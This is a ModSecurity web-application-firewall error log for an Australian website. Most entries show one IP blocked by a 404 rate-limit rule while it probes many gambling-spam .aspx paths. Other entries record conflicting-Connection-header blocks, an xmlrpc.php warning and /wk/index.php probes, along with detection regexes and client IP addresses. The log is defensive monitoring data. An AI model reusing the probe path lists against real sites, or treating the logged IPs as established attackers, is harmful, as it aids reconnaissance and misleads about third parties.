[Wed Mar 18 14:18:41.938456 2026] [:error] [pid 31232:tid 31237] [client 147.135.213.218:48044] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abpDwWX6HV7dqh3BQD32_AAAAEI"]
[Wed Mar 18 14:18:44.330629 2026] [:error] [pid 20667:tid 20687] [client 147.135.213.218:52396] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abpDxJgyfQyvBhzza_0_UgAAAZI"]
[Wed Mar 18 14:18:46.815460 2026] [:error] [pid 43009:tid 43019] [client 147.135.213.218:52408] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abpDxn8aUp4Sm6m3nmME6AAAAQg"]
[Wed Mar 18 14:18:49.328925 2026] [:error] [pid 20667:tid 20682] [client 147.135.213.218:52416] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "abpDyZgyfQyvBhzza_0_VwAAAY0"]
[Wed Mar 18 14:18:51.754324 2026] [:error] [pid 53755:tid 53772] [client 147.135.213.218:52424] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abpDy6qw5ZSRshmIhWmWpAAAAU8"]
[Wed Mar 18 14:18:54.420131 2026] [:error] [pid 53755:tid 53762] [client 147.135.213.218:56924] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abpDzqqw5ZSRshmIhWmW7QAAAUU"]
[Wed Mar 18 14:18:56.831083 2026] [:error] [pid 42870:tid 42895] [client 147.135.213.218:56940] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "abpD0J6axlAooiuYyUzTvgAAAAo"]
[Wed Mar 18 14:18:59.514744 2026] [:error] [pid 42871:tid 42916] [client 147.135.213.218:56942] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abpD02PUS0lM1M9nUaK-OQAAAII"]
[Wed Mar 18 14:19:01.933626 2026] [:error] [pid 31232:tid 31236] [client 147.135.213.218:56956] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abpD1WX6HV7dqh3BQD33IQAAAEE"]
[Wed Mar 18 14:19:23.649723 2026] [:error] [pid 42871:tid 42926] [client 147.135.213.218:54024] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abpD62PUS0lM1M9nUaK-gwAAAIw"]
[Wed Mar 18 14:19:26.166078 2026] [:error] [pid 31232:tid 31258] [client 147.135.213.218:52254] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abpD7mX6HV7dqh3BQD33qwAAAFc"]
[Wed Mar 18 14:19:28.678709 2026] [:error] [pid 42872:tid 42951] [client 147.135.213.218:52258] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "abpD8DchM8PQMaMEWJmjPwAAAco"]
[Wed Mar 18 14:19:31.263631 2026] [:error] [pid 31232:tid 31257] [client 147.135.213.218:52274] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abpD82X6HV7dqh3BQD33wQAAAFY"]
[Wed Mar 18 14:19:33.669740 2026] [:error] [pid 31232:tid 31254] [client 147.135.213.218:55942] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abpD9WX6HV7dqh3BQD33zQAAAFM"]
[Wed Mar 18 14:19:36.197176 2026] [:error] [pid 42870:tid 42909] [client 147.135.213.218:55958] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "abpD-J6axlAooiuYyUzT0QAAABg"]
[Wed Mar 18 14:19:38.613951 2026] [:error] [pid 42871:tid 42920] [client 147.135.213.218:55974] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abpD-mPUS0lM1M9nUaK-lQAAAIY"]
[Wed Mar 18 14:19:41.021883 2026] [:error] [pid 42871:tid 42926] [client 147.135.213.218:55978] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abpD_WPUS0lM1M9nUaK-mwAAAIw"]
[Wed Mar 18 14:19:43.547703 2026] [:error] [pid 53755:tid 53762] [client 147.135.213.218:52946] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abpD_6qw5ZSRshmIhWmXMwAAAUU"]
[Wed Mar 18 14:19:45.899949 2026] [:error] [pid 20667:tid 20689] [client 147.135.213.218:52962] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abpEAZgyfQyvBhzza_0_dQAAAZQ"]
[Wed Mar 18 14:19:48.398948 2026] [:error] [pid 53755:tid 53773] [client 147.135.213.218:52966] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abpEBKqw5ZSRshmIhWmXQQAAAVA"]
[Wed Mar 18 14:19:50.870361 2026] [:error] [pid 42871:tid 42917] [client 147.135.213.218:52980] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abpEBmPUS0lM1M9nUaK-swAAAIM"]
[Wed Mar 18 14:19:53.408696 2026] [:error] [pid 20667:tid 20680] [client 147.135.213.218:55366] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abpECZgyfQyvBhzza_0_dwAAAYs"]
[Wed Mar 18 14:19:55.931336 2026] [:error] [pid 20667:tid 20672] [client 147.135.213.218:55370] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abpEC5gyfQyvBhzza_0_eQAAAYM"]
[Wed Mar 18 14:19:58.390921 2026] [:error] [pid 42872:tid 42950] [client 147.135.213.218:55376] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abpEDjchM8PQMaMEWJmjRQAAAck"]
[Wed Mar 18 14:20:00.821224 2026] [:error] [pid 31232:tid 31242] [client 147.135.213.218:55382] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abpEEGX6HV7dqh3BQD339AAAAEc"]
[Wed Mar 18 14:20:03.695495 2026] [:error] [pid 31232:tid 31252] [client 147.135.213.218:39166] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abpEE2X6HV7dqh3BQD34AQAAAFE"]
[Wed Mar 18 14:20:06.092692 2026] [:error] [pid 31232:tid 31235] [client 147.135.213.218:39174] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abpEFmX6HV7dqh3BQD34CwAAAEA"]
[Wed Mar 18 14:20:08.457420 2026] [:error] [pid 42871:tid 42918] [client 147.135.213.218:39190] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abpEGGPUS0lM1M9nUaK-1gAAAIQ"]
[Wed Mar 18 14:20:10.950326 2026] [:error] [pid 42970:tid 42979] [client 147.135.213.218:39192] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abpEGo5YFUj4vBJI0KQPVgAAAMc"]
[Wed Mar 18 14:20:13.507351 2026] [:error] [pid 42871:tid 42937] [client 147.135.213.218:41654] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abpEHWPUS0lM1M9nUaK-4wAAAJc"]
[Wed Mar 18 14:20:16.028061 2026] [:error] [pid 31232:tid 31253] [client 147.135.213.218:41658] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abpEIGX6HV7dqh3BQD34IwAAAFI"]
[Wed Mar 18 14:20:18.559932 2026] [:error] [pid 43009:tid 43029] [client 147.135.213.218:41670] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abpEIn8aUp4Sm6m3nmMFBwAAARI"]
[Wed Mar 18 14:20:39.596824 2026] [:error] [pid 43009:tid 43028] [client 147.135.213.218:41674] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abpEN38aUp4Sm6m3nmMFHwAAARE"]
[Wed Mar 18 14:20:41.960297 2026] [:error] [pid 53755:tid 53763] [client 147.135.213.218:50842] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abpEOaqw5ZSRshmIhWmXgQAAAUY"]
[Wed Mar 18 14:20:44.330349 2026] [:error] [pid 43009:tid 43020] [client 147.135.213.218:40854] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abpEPH8aUp4Sm6m3nmMFJAAAAQk"]
[Wed Mar 18 14:20:46.787339 2026] [:error] [pid 53755:tid 53776] [client 147.135.213.218:40866] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abpEPqqw5ZSRshmIhWmXiAAAAVM"]
[Wed Mar 18 14:20:49.333688 2026] [:error] [pid 31232:tid 31251] [client 147.135.213.218:40872] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abpEQWX6HV7dqh3BQD34fAAAAFA"]
[Wed Mar 18 14:20:51.795194 2026] [:error] [pid 31232:tid 31255] [client 147.135.213.218:40880] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abpEQ2X6HV7dqh3BQD34jwAAAFQ"]
[Wed Mar 18 14:20:54.260304 2026] [:error] [pid 31232:tid 31259] [client 147.135.213.218:37852] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abpERmX6HV7dqh3BQD34lwAAAFg"]
[Wed Mar 18 14:20:56.715511 2026] [:error] [pid 43009:tid 43021] [client 147.135.213.218:37868] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abpESH8aUp4Sm6m3nmMFJgAAAQo"]
[Wed Mar 18 14:20:59.270461 2026] [:error] [pid 31232:tid 31250] [client 147.135.213.218:37870] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abpES2X6HV7dqh3BQD34ogAAAE8"]
[Wed Mar 18 14:21:01.850476 2026] [:error] [pid 42871:tid 42930] [client 147.135.213.218:37872] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abpETWPUS0lM1M9nUaK_oAAAAJA"]
[Wed Mar 18 14:21:04.333618 2026] [:error] [pid 42871:tid 42938] [client 147.135.213.218:56486] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abpEUGPUS0lM1M9nUaK_qgAAAJg"]
[Wed Mar 18 14:21:06.818746 2026] [:error] [pid 31232:tid 31245] [client 147.135.213.218:56502] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abpEUmX6HV7dqh3BQD34tgAAAEo"]
[Wed Mar 18 14:56:51.716214 2026] [:error] [pid 31232:tid 31256] [client 170.106.180.139:46834] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abpMs2X6HV7dqh3BQD0V2wAAAFU"]
[Wed Mar 18 15:50:18.178147 2026] [:error] [pid 31232:tid 31244] [client 170.106.107.87:44148] [client 170.106.107.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abpZOmX6HV7dqh3BQD1DUAAAAEk"]
[Wed Mar 18 19:24:53.560754 2026] [:error] [pid 53755:tid 53776] [client 114.80.36.40:55680] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abqLhaqw5ZSRshmIhWkQTAAAAVM"]
[Wed Mar 18 19:48:10.054953 2026] [:error] [pid 42872:tid 42962] [client 43.155.188.157:37596] [client 43.155.188.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abqQ-jchM8PQMaMEWJm-nAAAAdQ"]
[Wed Mar 18 20:25:06.592110 2026] [:error] [pid 53755:tid 53762] [client 197.250.231.140:1560] [client 197.250.231.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.250.231.140, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abqZoqqw5ZSRshmIhWkzUwAAAUU"]
[Wed Mar 18 20:43:06.206733 2026] [:error] [pid 43009:tid 43014] [client 43.155.162.41:35946] [client 43.155.162.41] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abqd2n8aUp4Sm6m3nmM3mQAAAQM"]
[Wed Mar 18 22:05:29.463894 2026] [:error] [pid 42970:tid 42986] [client 20.120.18.145:35013] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "abqxKY5YFUj4vBJI0KRBPwAAAM4"]
[Wed Mar 18 22:05:34.622738 2026] [:error] [pid 31232:tid 31247] [client 20.120.18.145:35267] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "abqxLmX6HV7dqh3BQD0c_gAAAEw"]
[Wed Mar 18 22:05:35.734734 2026] [:error] [pid 53755:tid 53767] [client 20.120.18.145:35282] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "abqxL6qw5ZSRshmIhWlsKwAAAUo"]
